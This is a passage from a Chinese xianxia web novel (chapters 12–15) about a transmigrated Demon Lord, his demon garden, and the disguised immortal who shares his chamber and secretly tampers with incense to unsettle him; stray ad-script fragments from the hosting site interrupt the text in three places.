官逍眼前一亮,不动声色将手上的祝余草塞进广袖中,“确实无用,本尊拿去喂鱼。” 又拿起别的几样植物,身边的魔修都能介绍出个所以然,这让官逍对他有些刮目相看。 “你叫什么名字?”官逍丢掉手中那个据说成熟后会长出腐臭味有毒果实的幼苗,拍了拍手,看向身边魔修。 那魔修意外后镇定回道:“启禀尊主,属下名叫天机,主上是定护法。” “喔,定常生的下属。”官逍了然,“你家主上回属地没带你,他不要你了吗?” 天机疑惑:“啊?” 官逍将他上下打量了一遍,“定常生为何将你藏在东稷,因为你叫天机吗?” 天机摸了摸脑袋:“啊?” “因为天机不可泄漏嘛!”官逍说完等他反应。 天机擦了擦额头冒出来的细汗:“啊?” 见他一副没听懂的模样,官逍颇觉无趣,定常生的属下怎么和他一样,一点幽默感都没有。 “没什么,以后你就是本尊魔圃的管事,这些东西,你看着叫魔搬过去种吧!” 12. 第十二章 将植物小山和巨树一起打包交给定常生的下属,官逍无事一身轻,很是清闲,果然应证了那句:不会带团队,你就只能干到死。 他又去魔圃交代风悟,让把魔圃的范围再扩大一圈,想了想那些已经离开土壤的植株们,官逍又补了一句:“工期加快。” 闻此噩耗,不仅接替禄无游工作的风悟心碎,周围劳作的仙子们更是眼冒金星,本以为锄完这些就能长久待在地牢,没想到临终了任务量翻倍,想死的心都有了。 其中内心最不平静的大抵就是叶鹤清了,想他出身世家,富贵十八载后初入修真门派,天赋绝佳勤奋刻苦,各峰长老争抢,等百年修行得以飞升,因他飞升时紫气东来,仙界诸君待他无不礼遇有加,千年仙门修行历练,谁人见到不称他一声神君。 就是这样的一生坦途,谁料每遇到官逍一次就遭遇一次滑铁卢,他直起腰看了看四周广袤的土地,突然有些怀疑魔界尊主到底有没有认出自己。 或许,当初路过净灵池听到魔修讨论要抓个貌美的仙子献给魔尊,他就不该起混入其中靠近魔尊的想法。 他正怀疑人生时,一道鞭风擦过他的衣摆,鞭子落地扬起的尘土覆盖上他已然布满灰尘的布靴,叶鹤清瞬间回身,低头看了眼脚下。 “快点的,没听尊主大人说要加快速度吗?发什么呆!”魔修呵斥的声音传来。 叶鹤清偏头看去,就见那魔修冲着他挤眉弄眼,显然刚刚他的行为已经是在包庇自己,不然他刚偷懒出神的那会儿,泛着黑气的长鞭就该抽在他的身上。 叶鹤清心中的怀疑又被抹去,若是魔尊一早认出自己,这些时日魔修们待他应不会这么客气。 魔修的呵斥声让叶鹤清继续劳作,也将站在魔圃外的官逍注意力吸引了过去。 官逍看向用力锄地的仙子背影陷入沉思,不得不说这仙子的体力有点好得过头了,别的仙子还有天黑后歇息的余地,他晚上却是在寝殿与自己斗智斗勇,然后被拖入魔圃一劳作又是十来个时辰。 初飞升的仙子都有如此精力,官逍实难想象那些仙界的仙君神君又是何等实力? 书中魔界和仙界在魔界大比后的半月内发生了一场小规模的战争,原因是琼华仙君的一位座下仙子在仙魔交界处失踪,琼华仙君称那位扶风仙子俊美异常,定是被觊觎他美色的魔界护法给掳走了,故而叫嚣让魔界交出清风仙子。 看过原书的官逍知道,扶风仙子确实是在魔界失踪,琼华仙君着急寻人也确有其事,但真正让琼华仙君敢向魔界伸手的原因,除了他是天帝的女儿外,还因仙界本就想试探魔尊的实力,恰好借题发挥。 仙魔两界都知魔界如今魔尊修行的功法与以往魔界之主不同,他多次强行提升就导致如同绷紧的弦,虽修为深不可测,但随时可能崩断功亏一篑,且他还是人修的出身,修行基础根本不如那些地道的魔界魔修来得扎实,这也是仙界紧盯、隔十来年就试探一回的原因。 填入这种试探的仙子生命不知其数,他们仙界仍乐此不疲。 距离下一次魔界大比只有不到半年时间,也就是说来年春分后不久,仙界就会借机挑事小战上一场,官逍不知道自己有没有办法避开与仙界的正面交锋,若是琼华带来个道君级别的帮手,他手下几个护法加起来才有五分胜算,且大概率重伤,若来的是那位声名赫赫的武德神君,胜算也就两成不到,官逍不想冒这个险。 正思索之际,就听到长鞭狠狠抽在皮肉上的声音,官逍被惊了一瞬,视线聚焦,只见一直被他看着的仙子脚踝处挨了重重一下。 魔界炼器房特地炼出的刑具本就是针对仙界的,鞭身上被提炼的魔气覆盖,莫说是抽打,只碰在仙人皮肉上都会发出呲呲的灼烧声响,仙人疼得紧皱眉头,想碰伤口又碍于身边黑着脸严肃的魔修,压抑忍耐。 官逍有些茫然,不知那魔修好好的怎么就下毒手了,他向魔修谴责地看去,只见那魔修紧抿双唇,对上他的眼神后,似是领悟到了什么,再次举起长鞭。 官逍脑中有什么想法一闪而过,“住手。” 那魔修险险刹住手上的动作,匆忙跪地告罪。 官逍伸脚迈进魔圃,锄起的土块差点把官逍绊上一跤,他稳住身型走到仙子面前。 仙子垂眸不与他对视,官逍低头看向他的腿,衣摆已经被刚那一鞭打裂开,脚踝处的皮肤也是皮开肉绽,鲜血顺着皮肉流淌。 官逍脸色黑沉,看向那跪在脚边的魔修,官逍猜想刚刚自己盯着这仙子出神,被眼前魔修误解为不满他之前的轻拿轻放,故而下了狠手,情有可原,可仙子身上的伤着实骇人,再看他现在委屈瑟缩睫毛轻颤,官逍只稍稍代入都替他感到疼,实在忍不住生起怒火。 风悟也急忙赶了过来,一脚踹向跪在地上的魔修,喝骂道:“多大的胆子,尊主面前敢耍威风,拖去炼器炉焚了!” 他喊得威风,一边骂却一边窥官逍脸色,官逍视线幽幽,风悟讨好笑笑。 “拉去天牢鞭二十,罚去无生涯收拾畜粪。”官逍说。 风悟想护着手下的小心思达成,又踹了地上瑟瑟发抖的魔修一脚,“还不谢尊主大人!” 那魔修连连谢恩,不等别的魔修来拖拽,自己就捧着小命飞快爬走。 官逍没忍住又看了眼仙子的脚踝,对风悟吩咐道:“带下去给洗洗。” 这便是赦免今日劳作的意思,风悟应声,带着仙子离开,官逍扫视周围,那些偷瞄的视线俱小心收了回去,他这才信步离开。 … 官逍离开魔圃后周围便没什么魔修,他从袖中取出那所谓的祝余草,拿在鼻尖嗅了嗅,闻不出什么特别的气味,甚至青草的芳香气息都没有,官逍有些失望。 他太久没闻到新鲜植物的气味了,若非每个夜晚靠近仙子时闻到那清新的竹香味,他都要以为自己的嗅觉退化了。 祝余草根部还带着泥土,官逍之前往袖中揣时因太过欣喜也没在意这些,现在想要入口,定然是不会这般不拘小节 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 魔界少有人界那种清澈的河流,这里的河流几乎都流淌着深灰色亦或这时红褐色的水,只有靠近断崖的位置有一条干净的溪水,在魔界这个环境里简直就像是个另类的白月光,至少在官逍眼里是这样。 他手中捏着祝余草,朝着溪流的方向走去,心中盘算着破山月下属昨日献上来的一篮果子撑不了多长时间,毕竟好些都未曾见过,也不知有毒无毒不敢轻易下口,等过几日植物种下去大半后,他需再去魔圃看看,寻些别的可供他食用的植物;另已入深秋,等冬日他还能否在那张寒石床上安然入睡,若是风寒发热,岂不是不打自招。 毕竟,谁家魔界之主体内的魔气会抵不住小小风寒? 但东稷寻一棵树都难,他得怎样不动声色告诉那群爱讨好他的下属他需要一张木床呢?还是在不惦记他柿子树的情况下。 官逍盘算着未来的打算,诸多问题盘踞在眼下,实在费人心神,他手中无意识将祝余草根部的泥捏成了个球,脚步未停走到了溪水附近,随手将手中泥球砸在了一个巨石上,不曾注意到巨石顶部有个浅眠的身影。 风悟察觉到动静,警惕坐起身,手指翻动间暗器即将离手,就看到他家尊主从巨石边闲庭信步地走了过去,刚刚尊主用石子击打巨石,是不是就在提醒他莫要偷懒? 自以为被逮住了摸鱼的风悟后背一寒,急忙收回指尖暗器,准备下去告诉尊主前方溪中情形。 只是刚刚跳下巨石,风悟又迟疑了,既然尊主已经知晓自己在这,那必然是明白溪中现下是何场景的,可尊主没有停下……他还有必要去多此一举提醒吗? 仙子都是尊主点中的,那便是尊主的房中人,闺房之乐,哪怕他是个没成婚过的魔,也听说过一些,他怎能去扰了尊主雅兴! 想明白这一点,风悟重新飞身上了巨石。 官逍自然是不懂魔界这些魔修的那些过度脑补,一路行到溪边,溪边有一片一人高的土黄色植物,有些类似干枯的带刺荆条,但官逍之前隐晦向魔修打听过,这些是魔界常见的植物,除了扎人一些,并无其他危险。 隐约听到了潺潺溪水被搅动的声音,官逍的脚步一顿。 联想到从前常看到的一些动物世界的讲解视频,说溪边是很危险的地带,因为溪边常有大型猛兽在此饮水,是动物战争的多发地,故而靠近时要尤为小心谨慎。 吸取动物经验,官逍屏息凝神,轻手轻脚靠近,小心翼翼拨开带刺的植物,尖利的刺不小心刮蹭到手背的疼痛他都忍了过去,探头朝着水声方向看去。 下一秒,官逍瞪大眼睛。 官逍是没料到会看见如此盛景的,而溪水中盛景的拥有者也在平静与他对视,那眼神似是带着谴责,在看一个下流的偷窥者。 被迫流氓的官逍视线上上下下扫视一遍后,才收回视线,双目恢复平日大小,他漫不经心折了根荆条在手中把玩,先声夺人,连连发问,“为何沐浴不穿衣?为何被本尊看了身体也不娇羞?” 13. 第十三章 沉着一张脸大步流星的仙子和步伐稳而散漫的魔尊形成了鲜明对比,一前一后从溪边朝方向魔殿而去,成了东稷今日傍晚时的一场绝佳风景线。 而风悟则坠在魔尊身后一段距离,眼珠转来转去,时不时抿紧双唇一副想笑不敢笑的模样。 他虽没看见溪边发生了什么,但只看如今仙子与魔尊的表现就能猜出一二,果然如他所料,尊主去溪边寻仙子作乐了,还把仙子欺负得不轻,不过那仙子当真是一点儿媚上的本事都学不会,都连着两旬没能成功留在寝殿过夜,被罚日夜整修魔圃,还不知花点心思,如今尊主好不容易得了点乐趣,他还敢耍性子。 风悟心中恨铁不成钢,对仙子有万千意见,觉得他占了侍君的名头,却没能服侍上尊主,若是他家主上闭关出来知晓情况,定要说他寻仙不周办事不利。 内心嘀嘀咕咕的风悟跟到了魔殿门口,差点撞上魔尊的后背,急忙刹住脚步,垂首告罪。 官逍对风悟这种自作主张的行为很不满,他警告风悟,“你若是再这般行事,本尊便让你去定常生手下任职。” 风悟一听,如遭雷击,浑身绷紧,连称不敢。 “下去吧,今夜无需你当值。”官逍示意他退下。 风悟还沉浸在继续摸鱼就会被打包送给定护法的噩耗中,定护法是几位大人中最规矩严明的那个,无论是得力属下还是打杂喽啰,皆按规矩行事,相比起来,在禄护法手下的日子简直就如徜徉在魔河中一般轻松惬意。 走离几十米后,风悟忽的停下,反应过来尊主话语中的潜台词,无需他当值,那便是说今夜仙子能成功留在殿内歇息,不会被半夜拖走。 风悟越想越觉就是这个意思,当即原地手舞足蹈如突发恶疾,今夜一过,他便不用担心他家主上责他办事不利了。 官逍威胁完下属,转身入殿,跨入殿门,便听见有什么摩擦的嘎吱嘎吱声,视线在四周扫视一圈,寻到了角落里的两个藤笼,笼中灰毛长兔正在啃咬笼身,那露出的长而尖的牙齿看得官逍浑身不适。 看在那是储备粮的份上,官逍收回视线假装并未瞧见它们露出长牙后的可怖面目,抬脚走上阶梯坐在高处王位上。 今日仙子早早候在寝殿,官逍的修炼场地也只能被迫换个地方,熟练打开教学系统,纳灵期后期的课程也只剩下两节并未完全领悟,也就是这两节课程,将他卡了十来天。 他不知按照魔界正常的修炼领悟进度,两个多月能摸到炼体的门槛就已是惊艳卓绝的天才,而有系统专门精炼的课程,更是外界修炼者想都不敢想的美事,被之前看过的那些修仙网文荼毒的官逍,还以为自己修炼速度堪忧,又有随时可能被识破身份的危机追赶,官逍的修炼是一点也不敢懈怠。 将刚在河边洗净的祝余草含在口中,官逍闭眼开始专心修炼,也不知是不是曾一日日不断强化丹田内魔气领域起了效果,为难了他多日的魔气领域终于扩充成型,变成了山竹大小,若是储存满精炼魔气的情况下,斩杀十几头低阶魔兽不成问题。 官逍再睁眼时已是深夜,他感觉体内力量无比充盈,甚至有点迫不及待做些破坏。 念头刚起,眸中淡蓝色幽光一闪而过,魔殿的墙壁上下一秒就传来一声巨响,只不过魔界特制的石砖到底结实,被这么一道魔气击上,几块石砖上只是出现些密密麻麻的裂纹。 巨响声让官逍瞬间清醒,他盯着那石砖上的碎纹,有那么一瞬间怀疑这具身体是不是在由自己操控。 他垂眸盯向自己的双手,那双本不属于他的手,哪怕是被他支配了几个月,却还是有些陌生。 出神之际,脑中系统发出清脆的声响。 【滴,宿主已成功度过纳灵期,系统奖励功法:《无影诀》】 听到系统播报的通知,官逍有些意外,收回审视这具身体的心绪,他以为至少还要耗上十天半月的纳灵期,竟然又一次不知不觉就被他突破了。 上次系统奖励的炎魔咒经过他修为的提高,如今已经能够熟练操控火球大小,之前与金狮搏斗也多亏修习了那道功法,这让官逍确认系统的功法定然是有用的,故而他没急着去看凝元期的课程,先打开了新的功法。 新的功法打开竟然不只是文字,在文字出现的同时,一些画面也在同时播放,就好似在看带字幕的电影一般,只是文字播放的速度和画面中无脸小人的动作速度完全不同,这让看完一遍的官逍头晕眼花,有些生理性想吐。 他本以为系统每每播放文字的速度已经足够快了,可没想到那小人动作的速度更快,已经超越了现在官逍大脑能够捕捉的速度。 将唇边只剩根部的祝余草丢开,官逍连着吞咽了几下,呼吸从急促慢慢转为平静后,他才第二次打开功法。 知晓以自己现在的能力无法看清小人的动作,官逍就极力克制着自己忽略动作画面,只盯着一行行闪动的文字看,那些深奥的文字他不求甚解,只凭借记忆里先存储在自己的大脑中。 如此几回,官逍摸到了一点新功法的边,尝试着使用几次,可并没有什么异象产生。 忆起上次试炼新功法的时候也是如此,官逍只当是如之前一样,如今的修为还不能成功使用,便也不多纠结,算着时辰不早,起身朝寝殿方向而去。 走在长廊上,周围黑水池里的鱼一条不剩,一点多余的动静也没有,只剩那些一动不动立在黑水池中的骷髅架子与他作伴,官逍莫名有些心慌慌。 他自己的存在都是东稷乃至魔界的噩梦,却在这里害怕几个干枯的骨头架子。 官逍有心转移自己的注意力,可魔界没什么乐趣八卦可想,他便再次将刚刚学习的新功法调回脑袋里琢磨。 不知不觉间,他竟就这么到了寝殿的门口,看见殿内的烛光时,官逍都有些没反应过来,他回头看了看归来的路,有些怀疑长廊是不是在自己不知情的时候被人改变了布局,缩短了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 截,不然为何他走得这般快。 等会,这般快?快? 那快得只能隐约捕捉动作残影的画面从脑海中闪过,官逍突然明白了,无影诀根本就不是什么攻击型的功法,故而他坐在王座上时使用会毫无异象。 本还想转身再走一回试炼功法的官逍这时听见了寝殿内的细微声响,这才想起他还在金屋藏娇。 推开寝殿门,被他藏在屋中的娇娇仙子正立在案边拨动香炉,听他推门动静转身,姿态之清雅,神态之温和,完全看不出不久前还在河边与他炸毛。 他今晚穿着件鸦青色暗纹锦袍,长发未经束缚,随意散落肩头,虽然仙子的这张脸官逍最近已看过多次,但还是会在找到新的观赏角度时候被惊艳一下。 今夜没打算找茬将仙子再丢进魔圃,官逍也不用费心思,他直接去桌边拿起下属备好的茶水,准备如往常一样,喝上一壶管个水饱便去休憩。 刚给自己倒了一杯就要入口,官逍蓦地想起前几个时辰一直是仙子独坐寝殿中,初见那夜他还拿剑守株待兔试图刺杀自己,哪怕被自己折腾了这么些时日看着乖顺许多,但难免他贼心不死,随便在魔圃中拔个什么毒草带回,试图毒死自己。 贴在唇边的茶盏被放下,官逍偏头仔细打量拨动燃香的仙子,刚在溪边还与自己怒目相视,这会儿却这平和,不对劲,完全不对劲。 约莫是官逍的视线太专注,引得仙子侧目相视。 “过来。”官逍道。 仙子迟疑一瞬,然后慢步行至桌前。 官逍将手中的茶盏递到仙子面前,“喝。” 仙子不解,视线落在清澈的茶盏中,只是普通清水而已,魔界只知打打杀杀,对此毫不讲究,不像人界研究煮茶之道,也不像仙界那般灵植清露煮水。 可眼前的是魔界尊主,曾笑着将他右手手筋挑断、并用魔气重创致使他伤好后千年仍不能执剑的官逍,叶鹤清如何不防。 “不喝。”仙子果断拒绝。 官逍眉头一挑,被折腾这么多时日,仙子几乎已经不会拒绝他的诸多要求,可现在却如此果决,他更觉茶水有问题,“为何?” 仙子深吸一口气,面上露出嫌弃表情,“仙界都是灵植灵泉,你这茶水实在入不了口。” 官逍想想,这说得好似有理,然而受得了苦沾得了脏的仙子对入口的水却这么挑剔,又有些违和。 寻不出反驳的话语,官逍心中的怀疑也没消掉,今日吃的那根祝余草好像是有点奇效,他没感觉到腹中饥饿。 “你区区一个刚飞升的仙子,从哪儿学来了仙界的诸多讲究。”官逍将一滴水未少的茶盏放回桌,朝着寒石床走去。 仙子闻言瞳孔微缩,看向桌上茶盏,只觉刚刚大意,寻的敷衍借口漏了馅儿,可再扭头窥魔尊表情,他姿态随意坐在床边,好似刚刚提醒他该捂紧身份的不是自己。 一别几百年,魔尊的心思更加难猜了。 14. 第十四章 脱去外衫,官逍的魔气将远处的烛灯熄灭,扭头见仙子还站在原地,不知心中又在盘算着什么坏点子。 “就寝吧。”官逍出声。 仙子闻声看去,只见官逍已经平展展躺在了寒石床上,一副下一秒就闭眼睡着的架势,颇觉疑惑。 以往每日他未离开寝殿时,魔尊总有事在做,有时对着某个雕花纹饰双目无神、好似神魂与身体躯壳分离,有时颠倒拿着某本古籍闭目养神,若非知晓官逍曾是正经的官家子弟,他都要怀疑这厮到底认字否。 夜深就寝不过是凡人的习性,修为高深的魔何须做这般浪费时间的事,调息打坐才是正常之举,但……魔尊好似从来不与常人相同。 这么一想,似乎也合理了。 叶鹤清坐回圈椅,阖上双眼,等待着魔尊如同往日那般寻自己麻烦,然而一盏茶时间过去,一炷香时间过去,殿内安静得只剩呼吸声。 还是越来越急促的呼吸声。 官逍猛的坐起身,不知是否有旁人在侧的原因,他今天格外难入眠,心脏跳动好似都比平时更快。 他的动作幅度太大,引仙子侧目。 仙子声音轻和,有种抚平人心总躁动的魔力,“尊主有什么吩咐?” “没什么。”官逍语气中有些烦闷,深呼吸几次后,躁动的心跳终于有了轻缓的趋势,他看向仙子,对方正襟危坐的模样让官逍皱了皱眉,“你坐在那要如何休憩?” “如此便很好了。”他清瘦的身体端正坐在圈椅中,一副柔弱可怜的模样,看的官逍有些牙疼,想到了昨夜自己为挑刺寻出的理由。 官逍视线在殿内扫视一圈,原身寝殿中单摆设实在简陋,他只能拍拍身边床榻,“过来,躺这。” 叶鹤清装可怜的神情一顿,昨夜嫌自己在圈椅中睡得不够端正的魔尊今夜肯好心挪出半个床榻?叶鹤清不信。联想到自己为何有机会混入魔界,有个念头出现在他的脑中。 叶鹤清在魔圃劳作时听魔修夸耀过他们尊主大人何其威武,曾一夜与数位仙子共度春宵,魔修当时与有荣焉地说完,才意识到他在附近,又对他安慰道:“仙子莫要心伤,魔尊现如今已瞧不上那些庸脂俗粉,且也只为你摆过宴席。” 据他近日观察,魔尊确实再未召过仙子,所以他今夜这是…… 仙子迟疑之际,官逍已经不耐烦地再次拍打身边床榻,催促道:“莫要磨蹭。” 叶鹤清见此情形,更确定心中所想,换成其他时日,自己这会儿早就被魔尊赶出寝殿,今夜他有所图,连脾气都见好,他看了眼香炉方向,眉头微蹙,起身朝着床榻行去。 等仙子睡到身边,官逍再次躺下,他实在困倦,懒得多言,只是大脑叫嚣着睡觉,身体却毫无休息的意思,五感都变得格外灵敏,近到身边仙子肢体挪动衣料轻微的摩擦声,远到五里开外魔修巡逻队经过的声音。 官逍不知这是不是修为提升带来的麻烦,两刻钟过去,他再次坐起身,殿内只有一盏烛灯在轻轻摇曳,燃烧着最后一小截生命。 低头看身侧躺着的仙子,只见仙子睁着双目,也不知这样看了自己多久。 “你为何不睡?”官逍问。 这话理应是叶鹤清问官逍才对,这会儿却被他先问出了口,当真是荒谬。 “尊主未歇,吾不敢独自入梦。”仙子回答得缠绵,只是用他那张嘴说出来,语气平淡地像在背台词。 这也不知是谁教他的教科书式回答,想来除了风悟外再没第二个可能。 总归是睡不着,官逍也不敢在有外人外侧时修炼功法,只盘膝毫无目的地四处查看,试图耗去体内残存精力。 视线落在身侧仙子小腿时,官逍想到了什么,伸手去触碰对方脚踝。 指尖触碰到对方衣料时,仙子弹坐起来,与官逍四目相对,眼中写满了“我便知晓你不怀好意”。 官逍:… 官逍轻咳一声,在这种眼神之下莫名其妙地心虚,几息后又反应过来自己根本没藏龌龊心思,只觉不能缩手,缩手便是承认自己心中有鬼。 他强行握住仙子脚踝,以命令口吻道:“本尊看看你的伤。” 仙子试图挣脱未果,到底还是妥协拽起裤腿,露出脚踝上方一道狰狞的伤口,虽已不流血,可也未结痂,皮肉翻开,还有被水泡过后的肿胀发白。 官逍看得皱眉,“为何不用术法医治?” 叶鹤清这般放任伤口自然愈合,也是为了做实自身修为低的人设减少魔尊怀疑,此时正好派上用场,“魔界灵气不纯,吾不擅治疗。” 仙魔两界虽都有灵气,但掺杂着仙气与魔气这两种相对的存在,修为低资历浅的修炼者确实难以在异界提取所需灵气,在治疗一事上甚至有可能起反作用。 听到仙子这回答,官逍点点头,一副可惜的表情,“那本尊也爱莫能助了。” 官逍说得是实话,他现在只学会了如何运用魔气,要从中抽取灵气给对方治伤,就有些强人所难了。 叶鹤清闻言唇角动了动,露出一丝浅淡的讥笑,堂堂魔尊,渡劫后修为,竟能将这种理由说得一本正经,刚看他一副关心的神情,想来也只是在他伤口上寻乐子罢了。 见仙子抿唇不言语,官逍颇为无奈,他属下造的孽,为难的全是他,“明日让风悟给你弄些药粉。” 未免自己的伤口被魔尊包藏祸心二次折腾,叶鹤清不得不出声直白挑明,谢绝他的“好意”,“魔界制的药会腐蚀我的伤口。” “无事,他们以前从仙界抢了许多药。”官逍说。 叶鹤清:…… “你们仙界的东西我们魔界用起来也无甚不好,偏你们仙界娇气。”官逍越说越觉有理,“按照进化论来说,你们仙界这样会被淘汰的。” 叶鹤清虽有些词听不懂,但不影响他理解官逍话中意思,他咬牙回答:“不劳魔尊费心。” 官逍看出仙子在与自己较劲,但看在他受伤的面子上不予计较,松开握住他脚踝的手,“休息吧。” 仙子迟疑片刻再度躺下,官逍又坐了片刻,烛火燃尽,寝殿内陷入漆黑,官逍这才发觉自己一直没收回神识,难怪能听到远处声响且还觉得疲惫。 神识收回后躺回玉枕,官逍察觉到身边一直紧绷着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身体的仙子好似松懈了一些,竟还一直在防备于他。 屋内香炉的清浅香味弥漫,官逍闻着不喜,不由凑近了仙子几分,仙子身上的竹香雅致清新,闻之提神醒脑。 大抵是官逍的呼气热意碰到仙子的肌肤,仙子往床沿挪了挪,官逍同步挪动,仙子再逃,官逍紧追,眼看着仙子单薄的身躯只与床沿有一条线的接触,官逍伸手揽住仙子的腰,将他往里拖了几寸。 手心触碰摸到对方腰腹处肌肉紧绷,官逍还安抚性轻拍了两下,“躲什么,我只吸两口仙气,今夜不对你做什么。” 这话说得着实没什么可信度,毕竟他的手迟迟不曾从仙子腰腹上挪开。 仙子伸手将魔尊的手挪开,官逍感受到他手心指腹的厚茧,不由伸手抓住对方的手摩挲两下,脑中有什么闪过,觉得些许违和。 叶鹤清只当魔尊色心已起,想到他强迫诸多仙子苟合,又沾染了满手鲜血,心中厌恶,正想着如何甩开,就听耳边魔尊声音响起,“你刚从洗灵池出来,为何手中还有这么多茧?” 洗灵池供初飞升的仙子洗去在人界生存痕迹、重塑筋骨,故而从洗灵池出来的仙子会是崭新的身体,也会抹去人界的修为,重新开始修炼仙界道法。 叶鹤清脑中念头急转,一时甚至都忘了对那只手的不喜,手中的茧自然是千年如一日习剑而生出的,可若想保住身份谎言不被拆穿… “是这些时日为尊主修缮魔圃磨出的茧。”叶鹤清回应。 官逍又摸了那手心的厚茧片刻,直将叶鹤清摸得屏住呼吸,也不知这理由能否搪塞狡诈的魔尊。 片刻后官逍才放开,一言不发,心中暗忖,他给图纸让造出的锄头当真这么难用? 仙子身体紧绷得官逍想忽略都难,防止梦中被下毒手,官逍并不想对方比自己更晚睡着,便难得温柔:“无需这般防备,本尊今夜不会动你。” 仙子丝毫不信,甚至挪远了些更加防备,“尊主处事不是全凭心意吗?” 官逍想了想,只得给出个像样的誓言,“若是动你,本尊看不到明早的太阳,这样你总该信了吧?” 仙子沉默片刻,“魔界本就没有太阳。” 殿内一片寂静。 …… 次日清晨,官逍醒得有些早,说是让仙子莫要防备他,他昨夜也是左右眼轮流站岗地在休息,有些许动静便会醒来,睡得着实辛苦。 若非修到了凝元期,身体素质领先常人许多,今早他定然头疼欲裂。 身边仙子一动未动,官逍看了两眼,只当对方还在熟睡,披上外衫出了寝殿。 推开门便见风悟蹲在墙头,漆黑的一身在夜里能完美隐藏,可在白日里看就是个耀眼的存在。 他视线扫过,墙头的黑衣身影跳下,落在官逍面前,风悟躬身行礼,官逍摆手示意噤声,关上寝殿门,边顺着长廊行走边道:“仙子有伤在身,这些时日就留在寝殿侍奉,你等会去寻些仙界的创伤药给他送来。” 风悟一一应答,心中有个喇叭在播喜庆乐章,尊主大人这般体贴入微,仙子又睡到现在未醒,当真是一切和美。 15. 第十五章 待殿外声音远去,床上的叶鹤清睁开双目,清明的双眸中哪有半分刚苏醒的惺忪。 他起身到香炉边看了一眼,炉中香早已燃尽,只剩些许香灰,叶鹤清凝眉不解。 昨夜风悟在香炉中置放了些许催情香料,放的时候还冲他使调侃眼色,口中喃喃奉主上教导,随时随刻为尊主着想,为尊主助兴。 叶鹤清座下的灵竹仙子就擅调香,他平日耳濡目染也能知晓这种香由哪些原料制成,将从魔圃带回的摄魂草汁液提取融合进香料中。 原料与灵植汁液的相冲,本该让修行者闻后思维极度活跃,在无比疲惫中依然保持亢奋,直至分不清现实与想象,产生幻觉,若是不察,动用灵力越多越容易受起影响,可昨天晚上官逍的反应和他预料中的完全不同。 莫非是官逍渡劫后的修为,已经高到可以丝毫不受此类灵植的影响? 叶贺清年捻起一抹香灰在鼻下嗅了嗅,有一个不太好的猜想在他脑中成型,魔界做事向来不受拘束随心所欲,或许这催情香偷工料了也并不一定。 意识到这一点,叶鹤清突然有了种身在这样一个不墨守陈规的魔界,一切未知的感觉,许多事情莫名其妙就完全不在掌控之中。 门“笃笃”的被敲响了两声,风悟的声音从外传来:“仙子可起了?吾奉尊主之命前来给仙子送药。” 叶鹤清将香炉盖上,指尖银光一闪,指腹上沾染的香灰不见踪影,他走到门前拉开木门,看向门外站着的风悟。 因官逍不在附近,风悟将言语间多有松弛,“仙子可觉得哪里不适?吾带来了好几种灵药。” 叶鹤清朝他手中看去,大大小小瓷瓶十几种,花花绿绿,瓶身上印着祥兽或灵花的图案,果真如官逍所说,看着像是仙界的东西。 从自家抢走的东西,又以这样的形式被送到了自己面前,叶赫清太阳穴不自觉地抽动了两下,头一次不只顾自身修行,对仙界那些不思进取的仙子有了种恨铁不成钢的感觉。 “为何会有这么多?”叶鹤清问。 风悟嘿笑两声,举着瓶子一一介绍,“这是治疗创伤的,这是治腰酸腿软?跌打损伤的,还有这个。”他说着眼中有什么狡黠一扫而过,“自然是用在受伤的那处,能快速缓解疼痛恢复如初,保管今夜也能与尊主大人共享绝伦之乐。” 叶鹤清怔愣片刻,才反应过来他话中意思,感觉眼皮都抽搐了几下,他有些不可置信地问:“这也是从仙界抢来的?” 风悟点头,“那自然,此等秘药,我们魔界从不曾研制出来,你们仙界当真是人才济济。” 叶鹤清觉得风悟之话并不像是在夸奖仙界,也没接话,接过他手中的各色药瓶揣入袖中。 他们仙界的东西,都送到面前了,他又怎会再拱手让人。 …… 官逍从魔殿出来,本是要去柿子树下打坐休憩一会儿的,可看见魔圃那边热火朝天,不自觉又被这热闹的氛围吸引。 天机正指挥着魔修将灵植搬运到开垦好的土地边,昨日已经种下了几排,灵植的高矮、形状皆相似,齐齐整整。 看原书定常生就是个有强迫症的,他使用的武器四海尺本并没有刻度,只因每次施法时,按照不同情况,魔气释放都控制在相应量度上,日久天长就将四海尺上刻出了一道道痕迹。 也不知这天机是因为在定常生手下被感染成了个完美主义者,还是因为本身性格才被定常生纳入麾下。 官逍在旁观察了片刻,天机显然是准备按照同样的习惯继续安排接下来的种植工作,可这实在不利于官逍的打算。 若相似品类的灵植都种在一起,那以后他将可食用的灵植拔多了,渐渐秃出来的一片地,岂不是将他的所作所为直白展示出来,他堂堂一魔尊,就算没暴露修为的不足,传出好口腹之欲似乎也不是什么光彩的事儿。 思索至此,官逍决定去做个摧残强迫症的刽子手。 身后有脚步声由远及近,这走路的步调,官逍不用回头都知是谁,只是他身上发出的瓷物碰撞叮当声响,实在招人注意。 等仙子行至身侧,官逍偏头看去,今日的仙子一身素青色开襟广袖长袍,精瘦的腰上系着条精致玉带,也不知风悟毎日从哪儿挑来的衣裳,似乎每身都格外适合这具身体。 将对方从上到下打量一遍,也没寻出是什么在发出清脆声响。 收起思绪,官逍朝着天机行去,叶鹤清紧随其后。 听到官逍吩咐将灵植打乱种下,别说是天机,连叶鹤清都有些意外。 “可灵植喜性各不相同,若掺杂种下,对他们长势兴许有影响。”天机试探性道。 官逍并不在意,“物竞天择,长不好的自会灭亡,我魔界的灵植何须精心呵护。” 天机恍然大悟,叶鹤清则是一言难尽,想起早上看见的偷工减料的催情香,他好似找到了魔界这般糟乱的源头。 所谓上梁不正下梁歪。 官逍不知仙子心中所想,看他盯着魔圃内沉思,以为他对那些仍在劳作的仙子同胞有怜惜之情。 官逍只当不知,种植大业刻不容缓,官逍能看在他受伤的份上放他悠闲,这已是做了个好人,至于其他劳动力,官逍怎可能轻易放过。 与天机交代完,官逍又朝柿子树下行去,叶鹤清继续跟随,他身上那瓷器碰撞的声音再次响起,官逍没忍住顿住脚步,“你身上带了何物?” 叶鹤清将袖中灵药取出展示在魔尊面前,官逍见后撇开视线,继续往前走。 伴随着瓷瓶碰撞的叮当声,官逍坐在了柿子树下,或许是冬日将至,柿子树枝丫干枯,有几根细枝已经断裂落在树下。 